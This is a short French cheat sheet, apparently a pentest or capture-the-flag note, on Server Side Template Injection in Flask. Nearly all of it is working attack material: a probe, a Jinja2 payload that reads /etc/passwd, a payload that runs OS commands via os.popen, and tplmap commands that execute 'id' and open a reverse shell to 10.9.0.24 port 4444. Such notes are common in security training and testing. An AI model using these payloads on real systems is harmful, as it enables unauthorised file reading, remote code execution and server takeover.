SSTI (Server Side Template Injection)
Pour Flask, on peut vérifier avec
{{2+2}}
Avec un résultat positif (4), on sait que le serveur est vulnérable.
On peut essayer de lire des fichiers avec ce payload
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
ou d’exécuter du code
{{config.__class__.__init__.__globals__['os'].popen(<command>).read()}}
Il existe aussi un outil pour l’automatisation : tplmap
tplmap.py -u ‘http://server/ -d ‘name’ –os-cmd ‘id’ #exploite le paramètre POST ‘name’ et exécute la commande ‘id’.
tplmap.py -u http://server -d ‘name’ –reverse-shell 10.9.0.24 4444